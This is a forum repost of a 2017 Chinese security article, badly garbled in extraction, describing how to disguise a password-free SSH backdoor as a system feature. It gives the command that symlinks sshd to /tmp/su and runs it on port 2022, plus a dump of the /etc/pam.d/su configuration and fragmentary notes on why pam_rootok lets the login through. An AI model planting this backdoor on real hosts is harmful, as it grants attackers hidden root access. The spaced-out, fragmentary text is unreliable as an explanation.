[11529] 2017-07-04_利用系统特性伪装成一个免密登陆后门

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2017-07-04_利用系统特性伪装成一个免密登陆后门 k n p e w g 8 5 9 4 2   F r e e B u f   2 0 1 7 - 0 7 - 0 4 * k n p e w g 8 5 9 4 2 F r e e B u f 0 x 0 0 .   使 r o o t s h e l l r o o t s s h   s s h l n   - s f   / u s r / s b i n / s s h d   / t m p / s u ; n o h u p   / t m p / s u   - o P o r t = 2 0 2 2   &
r o o t   便 0 x 0 1 .   s u , / e t c / p a m . d / s u s u / e t c / p a m . d     k a l i 2   # #   T h e   P A M   c o n f i g u r a t i o n   f i l e   f o r   t h e   S h a d o w   ` s u '   s e r v i c e # #   T h i s   a l l o w s   r o o t   t o   s u   w i t h o u t   p a s s w o r d s   ( n o r m a l   o p e r a t i o n ) a u t h               s u f f i c i e n t   p a m _ r o o t o k . s o #   U n c o m m e n t   t h i s   t o   f o r c e   u s e r s   t o   b e   a   m e m b e r   o f   g r o u p   r o o t #   b e f o r e   t h e y   c a n   u s e   ` s u ' .   Y o u   c a n   a l s o   a d d   " g r o u p = f o o "
#   b e f o r e   t h e y   c a n   u s e   ` s u ' .   Y o u   c a n   a l s o   a d d   " g r o u p = f o o " #   t o   t h e   e n d   o f   t h i s   l i n e   i f   y o u   w a n t   t o   u s e   a   g r o u p   o t h e r #   t h a n   t h e   d e f a u l t   " r o o t "   ( b u t   t h i s   m a y   h a v e   s i d e   e f f e c t   o f #   d e n y i n g   " r o o t "   u s e r ,   u n l e s s   s h e ' s   a   m e m b e r   o f   " f o o "   o r   e x p l i c i t l y #   p e r m i t t e d   e a r l i e r   b y   e . g .   " s u f f i c i e n t   p a m _ r o o t o k . s o " ) . #   ( R e p l a c e s   t h e   ` S U _ W H E E L _ O N L Y '   o p t i o n   f r o m   l o g i n . d e f s ) #   a u t h               r e q u i r e d       p a m _ w h e e l . s o #   U n c o m m e n t   t h i s   i f   y o u   w a n t   w h e e l   m e m b e r s   t o   b e   a b l e   t o #   s u   w i t h o u t   a   p a s s w o r d . #   a u t h               s u f f i c i e n t   p a m _ w h e e l . s o   t r u s t #   U n c o m m e n t   t h i s   i f   y o u   w a n t   m e m b e r s   o f   a   s p e c i f i c   g r o u p   t o   n o t #   b e   a l l o w e d   t o   u s e   s u   a t   a l l . #   a u t h               r e q u i r e d       p a m _ w h e e l . s o   d e n y   g r o u p = n o s u #   U n c o m m e n t   a n d   e d i t   / e t c / s e c u r i t y / t i m e . c o n f   i f   y o u   n e e d   t o   s e t #   t i m e   r e s t r a i n s t   o n   s u   u s a g e . #   ( R e p l a c e s   t h e   ` P O R T T I M E _ C H E C K S _ E N A B '   o p t i o n   f r o m   l o g i n . d e f s #   a s   w e l l   a s   / e t c / p o r t t i m e ) #   a c c o u n t         r e q u i s i t e     p a m _ t i m e . s o #   T h i s   m o d u l e   p a r s e s   e n v i r o n m e n t   c o n f i g u r a t i o n   f i l e ( s ) #   a n d   a l s o   a l l o w s   y o u   t o   u s e   a n   e x t e n d e d   c o n f i g #   f i l e   / e t c / s e c u r i t y / p a m _ e n v . c o n f . #   #   p a r s i n g   / e t c / e n v i r o n m e n t   n e e d s   " r e a d e n v = 1 " s e s s i o n               r e q u i r e d       p a m _ e n v . s o   r e a d e n v = 1 #   l o c a l e   v a r i a b l e s   a r e   a l s o   k e p t   i n t o   / e t c / d e f a u l t / l o c a l e   i n   e t c h #   r e a d i n g   t h i s   f i l e   * i n   a d d i t i o n   t o   / e t c / e n v i r o n m e n t *   d o e s   n o t   h u r t s e s s i o n               r e q u i r e d       p a m _ e n v . s o   r e a d e n v = 1   e n v f i l e = / e t c / d e f a u l t / l o c a l e #   D e f i n e s   t h e   M A I L   e n v i r o n m e n t   v a r i a b l e #   H o w e v e r ,   u s e r d e l   a l s o   n e e d s   M A I L _ D I R   a n d   M A I L _ F I L E   v a r i a b l e s #   i n   / e t c / l o g i n . d e f s   t o   m a k e   s u r e   t h a t   r e m o v i n g   a   u s e r   #   a l s o   r e m o v e s   t h e   u s e r ' s   m a i l   s p o o l   f i l e . #   S e e   c o m m e n t s   i n   / e t c / l o g i n . d e f s # #   " n o p e n "   s t a n d s   t o   a v o i d   r e p o r t i n g   n e w   m a i l   w h e n   s u ' i n g   t o   a n o t h e r   u s e r s e s s i o n         o p t i o n a l       p a m _ m a i l . s o   n o p e n #   S e t s   u p   u s e r   l i m i t s   a c c o r d i n g   t o   / e t c / s e c u r i t y / l i m i t s . c o n f #   ( R e p l a c e s   t h e   u s e   o f   / e t c / l i m i t s   i n   o l d   l o g i n )
s u f f i c i e n t     L i n u x   m a n     p a m _ r o o t o k . s o   U I D 0 r e t u r n   p a m 0 o k O K p a m _ r o o t o k . s o #   ( R e p l a c e s   t h e   u s e   o f   / e t c / l i m i t s   i n   o l d   l o g i n ) s e s s i o n         r e q u i r e d       p a m _ l i m i t s . s o #   T h e   s t a n d a r d   U n i x   a u t h e n t i c a t i o n   m o d u l e s ,   u s e d   w i t h #   N I S   ( m a n   n s s w i t c h )   a s   w e l l   a s   n o r m a l   / e t c / p a s s w d   a n d #   / e t c / s h a d o w   e n t r i e s . @ i n c l u d e   c o m m o n - a u t h @ i n c l u d e   c o m m o n - a c c o u n t @ i n c l u d e   c o m m o n - s e s s i o n         a u t h               s u f f i c i e n t   p a m _ r o o t o k . s o
g e t u i d ( ) g e t u i d 0 s e l i n u x r o o t 0 s e l i n u x 0 0 g e t u i d ( ) u s e r i d   u s e r i d   0 * k n p e w g 8 5 9 4 2 F r e e B u f

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则